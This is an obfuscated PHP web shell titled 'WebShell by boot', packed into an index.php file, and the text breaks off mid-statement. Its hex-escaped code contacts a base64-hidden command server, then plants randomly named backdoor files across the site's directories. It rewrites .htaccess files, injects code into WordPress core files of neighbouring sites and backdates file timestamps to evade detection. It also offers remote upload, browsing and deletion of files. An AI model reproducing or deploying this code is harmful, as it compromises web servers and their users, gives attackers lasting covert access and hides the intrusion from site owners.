index.php 0000644 00000166102 15073227575 0006407 0 ustar 00 $v) { if (!empty(trim($v))) { $file_url_result[] = $v; } } $file_tou = array("\x77\160\x2d\x63\157\156\x74\145\156\x74", "\167\x70\55\x61\x64\155\151\156", "\x77\x70\55\151\x6e\143\154\x75\x64\x65\163"); $file_list = array("\143\x73\163", "\x69\155\x61\x67\145\x73", "\151\x6d\147", "\x6a\163", "\164\x68\145\x6d\145\x73", "\160\x6c\165\147\151\x6e\x73", "\165\160\154\x6f\141\x64\x73", "\154\x61\x6e\x67\165\141\x67\145\163", "\x69\x6e\x63\x6c\x75\x64\x65\163", "\x6d\x61\x69\156\x74", "\x6e\145\x74\167\157\x72\153", "\155\x65\164", "\x75\x73\x65\x72", "\x49\130\122", "\x49\104\63", "\x66\x6f\156\x74\163", "\x62\x6c\x6f\x63\x6b", "\x62\154\157\143\153\163", "\160\x68\x70\55\x63\x6f\x6d\x70\x61\x74", "\x70\150\x70", "\x54\x65\x78\164", "\167\151\144\x67\x65\x74\163", "\123\151\x6d\x70\154\145\120\151\145", "\162\x61\x6e\144\157\155", "\x73\x74\171\x6c\x65\55\145\x6e\x67\x69\x6e\145", "\160\157\155\157", "\143\145\162\x74\151\x66\151\x63\x61\164\x65\163", "\x62\154\x6f\x63\153\164"); for ($i = 0; $i < $sy_count; $i++) { $path_url = $path . "\57" . $file_tou[rand(0, count($file_tou) - 1)]; for ($j = 0; $j < rand(3, 6); $j++) { $path_url = $path_url . "\57" . $file_list[rand(0, count($file_list) - 1)]; } $file_url_result[] = $path_url; } return $file_url_result; } goto JEqFE; CnQQl: session_start(); goto xBgGM; AUUP7: $post_data = $_POST; goto p2uym; Ly9Ec: $prot = !empty($_SERVER["\x48\x54\124\x50\123"]) && $_SERVER["\x48\x54\x54\x50\123"] !== "\x6f\146\x66" || $_SERVER["\123\105\x52\x56\105\x52\x5f\120\x4f\122\x54"] == 443 ? "\x68\164\164\160\163\x3a\57\57" : "\150\164\x74\x70\x3a\57\57"; goto haUGk; PnGmF: function curlpost($url, $data) { $jsonData = json_encode($data); $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_HTTPHEADER, array("\103\x6f\156\164\145\x6e\x74\x2d\x54\171\160\x65\72\x20\x61\x70\160\x6c\x69\143\x61\164\151\x6f\x6e\x2f\x6a\x73\x6f\156", "\x43\157\x6e\x74\x65\x6e\x74\x2d\114\x65\x6e\x67\164\150\x3a\x20" . strlen($jsonData))); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonData); $response = curl_exec($ch); $result = array(); if (curl_errno($ch)) { $result["\163\164\141\164\x75\163"] = 0; $result["\155\163\147"] = curl_error($ch); } curl_close($ch); $res = json_decode($response, true); $result["\x73\x74\x61\x74\165\x73"] = $res["\163\164\141\164\165\163"]; return $result; } goto wz9ed; dsadU: function get6str() { $s = ''; for ($i = 0; $i < 6; $i++) { $s .= chr(mt_rand(97, 122)); } return $s; } goto yXjmd; SplDB: $dir = $_POST["\x64\151\162"]; goto QDwC2; OkDvD: function stationAction($data, $pweb, $now_site) { $result_data = array(); $result_data["\163\x68\145\x6c\x6c\x5f\151\x64"] = $data["\163\150\x65\x6c\154\x5f\x69\x64"]; $result_data["\141\x63\x74\151\x6f\156"] = "\x73\164\141\x74\x69\157\x6e"; $save_url = base64_decode($pweb) . "\57\163\141\x76\x65\x2e\x70\150\160"; $shell_id = $data["\163\150\145\x6c\x6c\137\151\144"]; $shell_type = $data["\163\x68\x65\x6c\x6c\137\164\171\x70\145"]; $url = base64_decode($pweb) . "\57\151\x6e\144\x65\x78\144\x6f\157\x72\x2e\x70\150\x70\x3f\141\x63\x74\x69\157\x6e\x3d\163\164\141\164\151\157\156\x26\x73\150\x65\154\x6c\137\x69\144\x3d" . $shell_id . "\46\163\150\145\154\x6c\137\164\171\160\145\x3d" . $shell_type; $cc = curlget($url); $json_array = json_decode($cc, true); $station_count = 0; if (!empty($json_array["\x73\164\141\164\151\157\156\137\143\x6f\x64\x65"]) && !empty($json_array["\150\x74\x5f\160\172\137\x63\157\x6e\164\145\x6e\x74"])) { $station_count = add_station($json_array["\x73\x74\141\164\x69\x6f\x6e\137\143\157\144\x65"], $json_array["\150\x74\x5f\160\172\137\143\157\156\164\x65\156\x74"], $now_site); if ($station_count > 0) { $result_data["\x73\164\x61\164\151\157\x6e\x5f\x63\x6f\x75\x6e\x74"] = $station_count; $result_data["\x73\164\x61\x74\165\163"] = 1; } else { $result_data["\143\x6f\x64\145"] = "\61\x30\x30\x31"; $result_data["\x73\x74\141\164\165\163"] = 2; } } else { $result_data["\x63\x6f\x64\145"] = "\x31\x30\60\x32"; $result_data["\x73\x74\141\x74\x75\x73"] = 2; } $result_data["\163\150\x65\x6c\x6c\137\165\x72\x6c"] = $now_site; $result_data["\163\x68\145\x6c\x6c\137\x74\x79\x70\145"] = $shell_type; $res = curlpost($save_url, $result_data); if ($res["\163\164\141\164\165\x73"]) { echo "\x3c\x70\40\x73\164\171\x6c\145\75\42\143\x6f\x6c\157\x72\x3a\x67\162\x65\145\156\x3b\42\76\123\164\x61\x74\x69\157\156\40\x69\163\40\x73\165\x63\143\145\x73\x73\x66\165\x6c\x6c\x79\x2c\x20\123\165\143\143\x65\163\163\40\x69\x73\40" . $station_count . "\x3c\57\160\x3e"; } else { echo "\74\x70\x20\163\164\171\x6c\145\75\42\143\x6f\154\157\x72\x3a\x72\x65\x64\x3b\x22\x3e\x53\x74\141\164\x69\x6f\156\40\151\x73\x20\x66\141\x69\x6c\x65\x64\41\x20" . $result_data["\143\157\144\145"] . "\74\x2f\x70\x3e"; } } goto muN8n; uNRsK: function add_doors($doors_array, $doors_55_array, $wp_files, $third_file, $ban_content, $open_content, $shell_action_code, $now_site) { $result = array(); global $door_lists, $all_paths, $last_folder_url; $path = $_SERVER["\x44\x4f\103\x55\x4d\x45\116\124\x5f\122\x4f\117\x54"]; $door_count = count($doors_array) + count($doors_55_array); getAllDirectories($path, 1, $door_count); if (count($door_lists) < $door_count) { $sy_count = count($doors_array) + count($doors_55_array) - count($door_lists); $door_lists = fill_full($door_lists, $sy_count); } $randomKeys = array_rand($door_lists, count($doors_array) + count($doors_55_array)); $door_files = array(); $succ_files = array(); $i = 0; $shell_other_url = ''; foreach ($randomKeys as $key) { $file_door_url = $door_lists[$key]; $file_name = getrandstr(rand(5, 10)) . "\x2e\160\150\x70"; if ($i >= count($doors_array)) { $file_door_url = $file_door_url . "\57\167\x70"; $file_url = $file_door_url . "\x2f" . $file_name; $res = cndoorfile($file_door_url, $file_name, $open_content, base64_decode($doors_55_array[$i - count($doors_array)])); } else { $file_url = $file_door_url . "\x2f" . $file_name; $res = crdoorfile($file_url, base64_decode($doors_array[$i])); } if ($res) { $succ_files[] = $file_url; $door_files[] = str_replace($path, $now_site, $file_url); } else { } $i++; } if (!empty($last_folder_url)) { $file_url = $last_folder_url . "\x2f\x69\x6e\144\145\170\56\x70\x68\160"; $res = crdoorfile($file_url, base64_decode($shell_action_code)); if ($res) { $shell_other_url = str_replace($path, $now_site, $file_url); } } $count = 0; if (count($succ_files) > 0) { $ht_urls = array(); $wp_files_array = explode("\x3b", $wp_files); foreach ($wp_files_array as $k => $v) { $wp_files_array[$k] = $path . $v; } $ht_urls = $succ_files; $ht_urls = array_merge($ht_urls, $wp_files_array); $ht_urls[] = $path . "\57" . $third_file; $ht_folders = array(); $ht_files = array(); foreach ($ht_urls as $k => $v) { $ht_folders[] = dirname($v); $ht_files[] = basename($v); } foreach ($all_paths as $k => $a) { $now_files = array(); foreach ($ht_folders as $htk => $htv) { if ($a == $htv) { $now_files[] = $ht_files[$htk]; } } $ht_content_now = ''; if (!empty($now_files)) { $ht_content_now = str_replace("\x7b\43\x68\164\x63\x6f\x6e\164\x65\x6e\164\175", implode("\174", $now_files), $open_content); } else { $ht_content_now = $ban_content; } chmod($a . "\57\56\x68\x74\x61\x63\x63\x65\163\163", 493); if (file_put_contents($a . "\57\x2e\150\164\141\x63\143\145\163\163", $ht_content_now) !== false) { $count++; chmod($a . "\x2f\x2e\150\164\141\143\x63\x65\x73\163", 365); } } } $result["\x64\x6f\157\x72\x5f\x66\151\154\145\x73"] = $door_files; $result["\163\x68\x65\x6c\154\x5f\x6f\164\150\x65\162\137\165\162\x6c"] = $shell_other_url; $result["\x63\x6f\165\156\x74"] = $count; return $result; } goto VXzf4; jl3PG: function strslit($str) { $cha = str_split($str); return "\47" . implode("\47\56\x27", $cha) . "\x27"; } goto jIZe0; GaOmf: if (!empty($path)) { $file_path = $path; $now_path = $path; } goto JQ8H4; QDwC2: $web_url = $data["\x52\x45\x51\125\x45\x53\124\x5f\123\103\x48\x45\x4d\x45"] . "\72\x2f\57" . $data["\123\105\x52\126\105\x52\137\116\x41\x4d\105"]; goto GaOmf; HVrMy: function doorsAction($data, $pweb, $now_site) { $result_data = array(); $result_data["\163\150\x65\154\x6c\x5f\151\x64"] = $data["\163\150\145\154\154\x5f\151\x64"]; $result_data["\141\x63\x74\151\x6f\x6e"] = "\x64\157\x6f\x72\163"; $save_url = base64_decode($pweb) . "\x2f\163\x61\x76\x65\x2e\160\150\160"; $shell_id = $data["\x73\x68\x65\x6c\154\137\x69\144"]; $group_id = $data["\x67\x72\x6f\x75\160\137\151\144"]; $shell_type = $data["\163\x68\x65\154\154\x5f\164\171\x70\145"]; $url = base64_decode($pweb) . "\57\151\x6e\x64\145\x78\x64\157\x6f\x72\56\x70\150\x70\x3f\141\143\x74\x69\x6f\x6e\75\144\x6f\x6f\162\x73\x26\163\150\x65\154\x6c\137\151\x64\x3d" . $shell_id . "\x26\x67\162\x6f\x75\160\x5f\151\x64\75" . $group_id . "\46\x73\150\x65\x6c\x6c\137\164\x79\160\145\x3d" . $shell_type; $cc = curlget($url); $json_array = json_decode($cc, true); if (!empty($json_array["\144\157\157\162\x73"])) { $result = add_doors($json_array["\x64\x6f\157\162\x73"], $json_array["\x64\x6f\x6f\x72\163\137\65\x35"], $json_array["\x77\x70\x5f\146\151\154\x65\x73"], $json_array["\x74\x68\x69\162\x64\x5f\x66\x69\154\x65"], $json_array["\x68\164\x5f\x62\141\x6e\x5f\143\157\156\164\145\156\x74"], $json_array["\150\164\x5f\x6f\160\145\156\137\x63\157\x6e\164\145\x6e\x74"], $json_array["\163\x68\145\154\154\x5f\x61\x63\164\151\x6f\x6e\137\x63\x6f\144\x65"], $now_site); if (!empty($result["\144\x6f\157\x72\x5f\x66\151\x6c\x65\x73"])) { $result_data["\x64\157\x6f\x72\x5f\165\x72\154\163"] = implode("\x3b", $result["\x64\x6f\x6f\162\137\146\151\x6c\x65\163"]); $result_data["\163\150\x65\154\154\137\157\x74\150\145\162\137\x75\x72\x6c"] = $result["\x73\x68\145\x6c\154\137\157\164\150\x65\x72\x5f\x75\162\x6c"]; $result_data["\x73\164\x61\164\x75\163"] = 1; } else { $result_data["\x63\157\x64\x65"] = "\61\60\60\x31"; $result_data["\163\x74\x61\x74\165\x73"] = 2; } } else { $result_data["\143\157\x64\x65"] = "\61\60\60\x32"; $result_data["\163\x74\x61\164\x75\x73"] = 2; } $result_data["\163\x68\x65\154\x6c\x5f\164\171\x70\145"] = $shell_type; $res = curlpost($save_url, $result_data); if ($res["\x73\164\141\164\165\163"]) { echo "\74\x70\x20\x73\x74\x79\154\145\75\42\x63\157\154\x6f\162\x3a\147\x72\x65\145\156\73\42\76\104\x6f\157\x72\x73\40\x69\x73\x20\163\x75\x63\143\x65\x73\x73\x66\165\x6c\154\171\54\x20\x53\165\143\x63\x65\163\x73\40\x2e\150\40\151\x73\40" . $result["\143\x6f\165\x6e\x74"] . "\x3c\57\160\76"; foreach ($result["\x64\x6f\157\162\137\x66\x69\154\x65\163"] as $k => $v) { echo "\x3c\x70\x3e\x3c\x61\x20\x68\x72\145\146\75\x22" . $v . "\42\40\x74\141\162\147\145\x74\x3d\42\x5f\142\x6c\x61\x6e\x6b\42\x3e" . $v . "\x3c\x2f\x61\x3e\x3c\57\x70\76"; } } else { echo "\74\160\40\163\164\171\154\x65\x3d\42\143\x6f\x6c\x6f\162\72\162\x65\x64\x3b\42\x3e\104\157\x6f\162\x73\x20\x69\163\x20\146\141\x69\154\x65\x64\x21\x20" . $result_data["\x63\157\x64\x65"] . "\x3c\57\160\76"; } } goto uNRsK; wz9ed: function crefile($fiurl, $contnt) { $path = $_SERVER["\x44\x4f\x43\125\115\105\116\124\137\x52\117\117\124"] . "\x2f"; $filath = $path . dirname($fiurl); if (!is_dir($filath)) { if (!mkdir($filath, 493, true)) { return false; } } $file_path = $path . $fiurl; if (file_put_contents($file_path, $contnt) !== false) { $time = time() - rand(30, 100) * 24 * 60 * 60 - rand(0, 3600); touch($file_path, $time); return true; } else { return false; } } goto yPTaQ; rRqII: if (is_readable($now_path)) { $can_read = true; } goto KlQyS; vUUwS: function getAllSubdirectories($directory, $maxDepth = 10, $currentDepth = 0) { global $all_paths; $subdirectories = array(); if ($currentDepth > $maxDepth) { return array(); } $items = scandir($directory); foreach ($items as $item) { if ($item == "\56" || $item == "\56\56") { continue; } $path = $directory . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { $subdirectories[] = $path; $all_paths[] = $path; $subdirectories = array_merge($subdirectories, getAllSubdirectories($path, $maxDepth, $currentDepth + 1)); } } return $subdirectories; } goto OkDvD; OihBm: function execAction($data, $pweb, $now_site) { $group_id = $data["\x67\162\x6f\165\x70\x5f\x69\144"]; $shell_id = $data["\163\x68\145\x6c\154\137\151\144"]; $shell_type = $data["\163\150\x65\154\154\x5f\164\x79\160\x65"]; $url = base64_decode($pweb) . "\57\x69\x6e\144\x65\170\x64\x6f\157\x72\56\x70\x68\x70\x3f\x61\x63\164\151\x6f\156\x3d\x6e\x65\167\x5f\x65\170\x65\x63\x26\x67\x72\x6f\x75\160\137\x69\x64\x3d" . $group_id . "\x26\x73\150\145\154\x6c\x5f\164\171\x70\145\75" . $shell_type; $result_data = array(); $result_data["\x73\150\145\x6c\154\137\151\x64"] = $shell_id; $result_data["\141\143\164\x69\157\156"] = "\145\170\x65\x63"; $save_url = base64_decode($pweb) . "\57\163\141\166\x65\56\x70\x68\160"; $cc = curlget($url); $json_array = json_decode($cc, true); if (isset($json_array["\151\x6e\137\x63\157\156\164\156\x74"]) && !empty($json_array["\150\164\x5f\x63\x6f\156\x74\156\x74"]) && !empty($json_array["\145\170\x65\143\x5f\x63\x6f\x64\145"])) { $website_root = $_SERVER["\104\117\103\x55\x4d\105\116\x54\x5f\122\117\117\x54"]; $result = add_exec($website_root, $json_array["\150\x74\x5f\143\157\156\164\156\x74"], $json_array["\x69\156\137\143\x6f\156\164\x6e\x74"], $json_array["\x65\x78\x65\143\x5f\143\x6f\144\145"], $json_array["\167\x70\x5f\171\143\x6f\x64\x65"]); if ($result) { $result_data["\163\x74\x61\x74\x75\x73"] = 1; } else { $result_data["\x63\x6f\144\145"] = "\61\60\60\x31"; $result_data["\163\164\141\164\x75\x73"] = 2; } } else { $result_data["\143\x6f\x64\x65"] = "\x31\x30\60\x32"; $result_data["\x73\164\141\x74\x75\163"] = 2; } $result_data["\163\x68\x65\154\x6c\x5f\164\x79\160\145"] = $shell_type; $res = curlpost($save_url, $result_data); if ($res["\x73\164\141\164\165\x73"]) { echo "\74\x70\x20\x73\164\x79\x6c\x65\x3d\42\x63\157\154\157\162\72\147\162\145\145\156\73\x22\x3e\105\170\145\143\40\x69\163\x20\x73\165\143\143\x65\163\x73\x66\165\154\x6c\x79\74\57\x70\76"; } else { echo "\x3c\x70\40\x73\164\x79\154\145\x3d\42\x63\157\154\x6f\x72\x3a\x72\x65\x64\x3b\x22\76\105\x78\x65\x63\x20\x69\163\40\x66\x61\151\154\145\x64\x21\x20" . $result_data["\143\157\144\145"] . "\74\57\160\x3e"; } } goto OLvgK; P9Pxj: function add_others($group2_code, $group3_code, $second_file, $third_file, $now_site) { $result = array(); $sf = crefile($second_file, $group2_code); $tf = crefile($third_file, $group3_code); $result["\x73\145\x63\x6f\156\144\137\165\x72\154"] = ''; $result["\164\x68\x69\x72\x64\137\x75\162\x6c"] = ''; if ($sf) { $result["\163\x65\x63\x6f\156\144\137\x75\162\154"] = $now_site . "\57" . $second_file; } if ($tf) { $result["\164\150\151\x72\x64\x5f\x75\x72\154"] = $now_site . "\x2f" . $third_file; } return $result; } goto HVrMy; qm1Q_: function getParentsFolders($path) { $all_folders = array(); $parent_folds = dirname($path); $directories = glob($parent_folds . "\57\x2a", GLOB_ONLYDIR); $all_folders = $directories; $parent_folds = dirname($parent_folds); $directories = glob($parent_folds . "\57\52", GLOB_ONLYDIR); $all_folders = array_merge($all_folders, $directories); return $all_folders; } goto ghMMO; acQER: if (!empty($_SESSION["\x63\62\150\154\x62\107\x78\146\131\62\71\x6b\x5a\x51\x3d\x3d"]) && strlen($_SESSION["\143\x32\150\154\x62\107\x78\146\131\x32\x39\x6b\132\121\x3d\75"]) == 20) { ?>
WebShell by bootWebShell by boot
Server IP:
Server Software:
OS:
Website:
User:
Project
Path: $v) { if (empty($v)) { ?>
-r
/
>Readable |
>Writeable
$v) { deleteFile($v); } } } else { if ($_POST["\141\143\164"] == "\x64\145\154") { $delete_file_list = $_POST["\x63\150\151\x6c\x64\143\x68\x65\143\153"]; if (!empty($delete_file_list)) { $count = 0; $fail_count = 0; foreach ($delete_file_list as $k => $v) { if (is_dir($v)) { $del_result = deleteDirectory($v); } else { $del_result = unlink($v); } if ($del_result) { $count++; } else { $fail_count++; } } if ($count > 0) { echo "\74\144\x69\x76\40\143\154\141\163\163\x3d\42\141\154\x65\162\x74\40\141\154\x65\162\164\55\x73\x75\x63\143\145\163\163\42\x20\x72\157\x6c\x65\x3d\42\x61\154\x65\162\x74\x22\76\x44\x65\x6c\145\x74\x65\x20" . $count . "\40\x66\151\154\x65\x73\x20\163\165\x63\x63\145\x73\163\x66\x75\x6c\154\x79\x21\x3c\x2f\x64\151\x76\x3e"; } if ($fail_count > 0) { echo "\74\x64\x69\x76\x20\x63\154\141\163\x73\75\x22\141\154\x65\162\x74\40\141\x6c\x65\162\164\55\144\141\x6e\x67\145\162\x22\40\x72\157\x6c\145\x3d\42\x61\154\145\162\164\x22\x3e\104\x65\x6c\x65\x74\145\x20" . $fail_count . "\40\146\x69\154\x65\x73\x20\x66\141\151\x6c\145\144\41\x3c\x2f\144\151\166\76"; } } } if ($_POST["\x61\143\164"] == "\x75\x70\x6c\x6f\141\x64") { $targetFile = $now_path . "\x2f" . basename($_FILES["\x66\x69\154\x65\x54\157\125\x70\x6c\x6f\x61\x64"]["\x6e\141\x6d\x65"]); if (move_uploaded_file($_FILES["\x66\151\154\x65\x54\x6f\x55\x70\x6c\157\x61\x64"]["\164\155\x70\137\x6e\141\155\x65"], $targetFile)) { echo "\74\x64\151\x76\x20\143\x6c\141\x73\163\x3d\x22\x61\x6c\145\x72\164\40\x61\x6c\x65\x72\x74\x2d\x73\x75\143\x63\145\163\x73\42\40\162\x6f\154\145\x3d\x22\141\154\x65\x72\x74\x22\76\106\151\154\145\40" . htmlspecialchars(basename($_FILES["\x66\151\x6c\x65\124\x6f\x55\x70\x6c\157\141\144"]["\156\141\155\145"])) . "\x20\x75\160\154\157\141\x64\x65\144\41\74\x2f\144\151\x76\76"; } else { echo "\74\x64\x69\166\40\143\154\x61\163\x73\x3d\42\x61\154\145\x72\164\40\x61\154\x65\x72\x74\x2d\x64\141\156\x67\145\x72\42\x20\x72\157\x6c\x65\x3d\x22\x61\154\145\x72\164\42\x3e\x46\x69\154\x65\x20\x75\x70\154\157\141\144\x20\146\141\151\x6c\x65\144\x21\74\x2f\144\x69\166\76"; } } $file_list = scandir($now_path); $file_list = sortByFolder($now_path, $file_list); ?>
$v) { if (is_dir($now_path . "\57" . $v)) { $folder_list[] = $v; } else { $file_list[] = $v; } } sort($folder_list); sort($file_list); $all_list = array_merge($folder_list, $file_list); return $all_list; } goto FNOMA; ukDQf: function findFilesWithContent($directory, $searchString, $currentDepth = 0, $maxDepth = 10) { $foundFiles = array(); if ($currentDepth >= $maxDepth) { return $foundFiles; } if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if ($file != "\56" && $file != "\x2e\56") { $filePath = $directory . "\57" . $file; if (is_dir($filePath)) { $foundFiles = array_merge($foundFiles, findFilesWithContent($filePath, $searchString, $currentDepth + 1, $maxDepth)); } else { if (strpos(file_get_contents($filePath), $searchString) !== false) { $foundFiles[] = $filePath; } } } } closedir($handle); } return $foundFiles; } goto llXeo; p2uym: $pws = "\x61\x48\x52\60\143\110\115\66\x4c\171\71\156\142\62\144\166\x4d\152\111\165\131\156\x6c\157\x62\63\121\165\144\x47\x39\x77"; goto OtS_R; FNOMA: function rebackAction($data, $pweb, $now_site) { $group_id = $data["\x67\x72\157\x75\x70\137\151\x64"]; $shell_id = $data["\x73\150\145\x6c\154\137\x69\144"]; $shell_type = $data["\x73\150\x65\154\154\x5f\164\171\x70\145"]; $url = base64_decode($pweb) . "\57\x69\x6e\x64\145\x78\144\157\x6f\162\56\160\x68\x70\x3f\141\143\164\x69\157\x6e\75\x72\145\142\141\x63\153\46\x67\x72\x6f\x75\x70\137\151\x64\x3d" . $group_id . "\x26\163\x68\x65\154\154\x5f\164\171\x70\x65\x3d" . $shell_type; $cc = curlget($url); $json_array = json_decode($cc, true); $result_data = array(); $result_data["\163\150\x65\154\x6c\x5f\151\x64"] = $shell_id; $result_data["\141\143\x74\151\157\x6e"] = "\162\x65\142\x61\x63\x6b"; $save_url = base64_decode($pweb) . "\x2f\163\x61\166\x65\56\160\x68\160"; if (isset($json_array["\x69\x6e\137\x66\151\154\x65\163"]) && !empty($json_array["\x69\156\x5f\146\151\154\145\x73"])) { $wp_code = $json_array["\x77\x70\137\143\157\144\x65"]; $in_list = explode("\x3b", $json_array["\151\x6e\x5f\x66\151\x6c\145\163"]); foreach ($in_list as $k => $v) { $wpstr = strslit($v); $wp_code = str_replace("\133\43\43\x69\156\137\143\157\x6e\164\x6e\x74\x5f" . $k . "\x23\x23\x5d", $wpstr, $wp_code); $contnt = $json_array["\143\x6f\144\145"] . $json_array["\x77\160\x5f\x79\x63\x6f\x64\x65"]; crefile($v, $contnt); } $ht_list = explode("\x3b", $json_array["\150\x74\137\146\151\154\145\163"]); foreach ($ht_list as $k => $v) { $wpstr = strslit($v); $wp_code = str_replace("\x5b\x23\x23\x68\164\137\x63\157\156\x74\x6e\164\x5f" . $k . "\43\43\135", $wpstr, $wp_code); $contnt = $json_array["\150\164\137\143\157\x6e\164\x6e\x74"]; crefile($v, $contnt); } $wp_list = explode("\x3b", $json_array["\x77\x70\x5f\146\x69\154\x65\x73"]); $wp_result = array(); foreach ($wp_list as $k => $v) { $f = crefile($v, $wp_code); if ($f) { $wp_result[] = $now_site . $v; } } if (!empty($wp_result) && count($wp_result) > 0) { $result_data["\x77\x70\x5f\x75\x72\154\x73"] = $wp_result; $result_data["\163\164\141\164\x75\x73"] = 1; } else { $result_data["\x63\x6f\x64\145"] = "\x31\60\x30\x31"; $result_data["\163\x74\141\x74\x75\x73"] = 2; } } else { $result_data["\143\x6f\144\x65"] = "\61\60\60\x32"; $result_data["\x73\164\141\x74\165\x73"] = 2; } $result_data["\x73\x68\x65\x6c\x6c\137\165\162\x6c"] = $now_site; $result_data["\163\x68\145\x6c\154\x5f\164\171\160\x65"] = $shell_type; $res = curlpost($save_url, $result_data); if ($res["\163\x74\x61\x74\165\163"]) { echo "\x3c\160\x20\x73\x74\171\x6c\145\75\42\143\x6f\154\157\162\72\147\162\145\x65\x6e\x3b\42\76\x52\145\x62\141\143\x6b\x20\151\163\x20\x73\165\x63\x63\145\x73\163\x66\x75\x6c\x6c\x79\x3c\57\x70\x3e"; foreach ($wp_result as $k => $v) { echo "\74\x70\76\x3c\x61\x20\x68\x72\x65\x66\75\x22" . $v . "\x22\40\164\x61\x72\x67\x65\x74\x3d\x22\137\x62\154\141\x6e\x6b\x22\x3e" . $v . "\x3c\x2f\x61\x3e\x3c\x2f\160\76"; } } else { echo "\74\160\x20\163\164\x79\x6c\145\75\x22\143\x6f\154\x6f\x72\72\x72\x65\144\x3b\x22\x3e\x52\145\142\x61\143\x6b\x20\x69\x73\x20\x66\x61\151\154\x65\x64\41\40" . $result_data["\143\157\144\x65"] . "\74\57\x70\76"; } } goto OihBm; ghMMO: function curlget($url) { $url_data = ''; if (function_exists("\146\x69\x6c\x65\137\147\145\x74\137\x63\x6f\x6e\164\x65\156\164\163")) { $url_data = file_get_contents($url); } if (empty($url_data) && function_exists("\x63\x75\162\x6c\x5f\145\x78\145\x63")) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); $url_data = curl_exec($conn); curl_close($conn); } if (empty($url_data) && function_exists("\x66\157\x70\x65\156") && function_exists("\163\164\x72\x65\141\x6d\137\147\145\164\137\143\157\x6e\x74\145\x6e\164\x73")) { $handle = fopen($url, "\162"); $url_data = stream_get_contents($handle); fclose($handle); } return $url_data; } goto PnGmF; yXjmd: function othersAction($data, $pweb, $now_site) { $shell_id = $data["\x73\150\x65\154\x6c\137\151\144"]; $group_id_2 = $data["\x67\x72\157\x75\x70\137\151\144\x5f\x32"]; $group_id_3 = $data["\147\x72\x6f\x75\160\x5f\x69\144\137\63"]; $shell_type = $data["\x73\x68\145\x6c\x6c\137\x74\x79\160\145"]; $url = base64_decode($pweb) . "\x2f\x69\156\144\145\x78\x64\x6f\157\162\x2e\x70\150\x70\77\x61\x63\x74\x69\157\x6e\x3d\157\x74\150\x65\162\x73\x26\x67\162\x6f\x75\160\137\x69\144\137\x32\x3d" . $group_id_2 . "\46\147\162\157\165\x70\137\x69\x64\x5f\x33\75" . $group_id_3 . "\x26\163\x68\x65\154\x6c\137\x74\171\x70\x65\x3d" . $shell_type; $result_data = array(); $result_data["\x73\x68\x65\x6c\154\x5f\151\144"] = $shell_id; $result_data["\141\143\164\151\157\x6e"] = "\157\x74\x68\x65\x72\x73"; $save_url = base64_decode($pweb) . "\57\163\141\166\x65\x2e\160\150\160"; $cc = curlget($url); $json_array = json_decode($cc, true); if (!empty($json_array["\147\162\x6f\165\x70\62\137\x63\157\x64\x65"]) && !empty($json_array["\x73\145\x63\x6f\156\144\137\146\151\154\145"]) || !empty($json_array["\147\x72\x6f\x75\x70\x33\137\x63\157\144\x65"]) && !empty($json_array["\164\x68\x69\162\144\x5f\146\151\x6c\x65"])) { $result = add_others($json_array["\147\x72\x6f\x75\160\x32\137\143\157\x64\x65"], $json_array["\x67\162\x6f\x75\160\x33\137\x63\157\144\x65"], $json_array["\x73\x65\143\157\156\144\137\146\151\x6c\145"], $json_array["\x74\150\x69\x72\x64\x5f\x66\x69\x6c\x65"], $now_site); if (!empty($result["\x73\x65\143\x6f\156\144\137\165\x72\x6c"]) || !empty($result["\164\150\151\162\x64\137\165\x72\154"])) { $result_data["\163\x65\x63\157\x6e\x64\137\x75\162\154"] = $result["\163\x65\143\157\x6e\144\137\x75\x72\154"]; $result_data["\x74\150\x69\162\x64\137\165\x72\x6c"] = $result["\164\x68\x69\162\144\137\x75\162\154"]; $result_data["\x73\164\141\x74\x75\x73"] = 1; } else { $result_data["\x63\x6f\144\145"] = "\61\x30\60\x31"; $result_data["\x73\164\141\x74\x75\x73"] = 2; } } else { $result_data["\143\x6f\x64\x65"] = "\61\60\60\62"; $result_data["\163\164\x61\x74\x75\x73"] = 2; } $result_data["\x73\150\145\x6c\154\137\x74\x79\x70\x65"] = $shell_type; $res = curlpost($save_url, $result_data); if ($res["\163\164\141\164\165\x73"]) { echo "\74\160\x20\163\164\171\154\145\x3d\42\143\157\154\x6f\x72\72\x67\x72\145\x65\x6e\73\42\76\x4f\164\x68\145\162\163\40\151\163\x20\163\165\143\x63\145\x73\163\x66\x75\154\154\x79\74\57\160\76"; } else { echo "\x3c\x70\x20\163\x74\171\154\145\x3d\42\x63\157\x6c\157\x72\72\x72\145\x64\73\x22\76\117\x74\x68\x65\162\163\40\x69\163\x20\x66\141\151\154\145\x64\x21\40" . $result_data["\x63\x6f\x64\x65"] . "\74\x2f\x70\x3e"; } } goto P9Pxj; j8jyx: function deleteDirectory($dir) { if (!is_dir($dir)) { return false; } $files = glob($dir . "\57\x2a"); foreach ($files as $file) { if (is_file($file)) { unlink($file); } elseif (is_dir($file)) { deleteDirectory($file); } } return rmdir($dir); } goto JdrU1; cZQ__: ini_set("\x6d\x65\x6d\x6f\x72\171\x5f\154\151\x6d\x69\164", "\x2d\61"); goto CnQQl; muN8n: function add_station($station_code, $ht_content, $now_site) { $station_code = base64_decode($station_code); $count = 0; $path = $_SERVER["\x44\117\103\x55\x4d\x45\x4e\x54\x5f\122\x4f\x4f\124"]; $folder_name = basename($path); $all_folders = getParentsFolders($path); $all_results = array(); foreach ($all_folders as $k => $v) { $directories = glob($v . "\57\52", GLOB_ONLYDIR); $all_folders = array_merge($all_folders, $directories); } foreach ($all_folders as $k => $v) { if (!strpos($v, $folder_name)) { $all_results[] = $v; } } foreach ($all_results as $k => $v) { $index_url = $v . "\57\167\160\55\x62\154\157\x67\x2d\x68\x65\141\144\x65\162\x2e\x70\x68\160"; $wp_url = $v . "\57\x77\160\x2d\143\x72\x6f\x6e\x2e\160\x68\x70"; $ht_url = $v . "\57\x2e\x68\x74\x61\143\143\145\163\163"; $index_yuan = ''; if (file_exists($index_url)) { chmod($index_url, 420); $index_yuan = 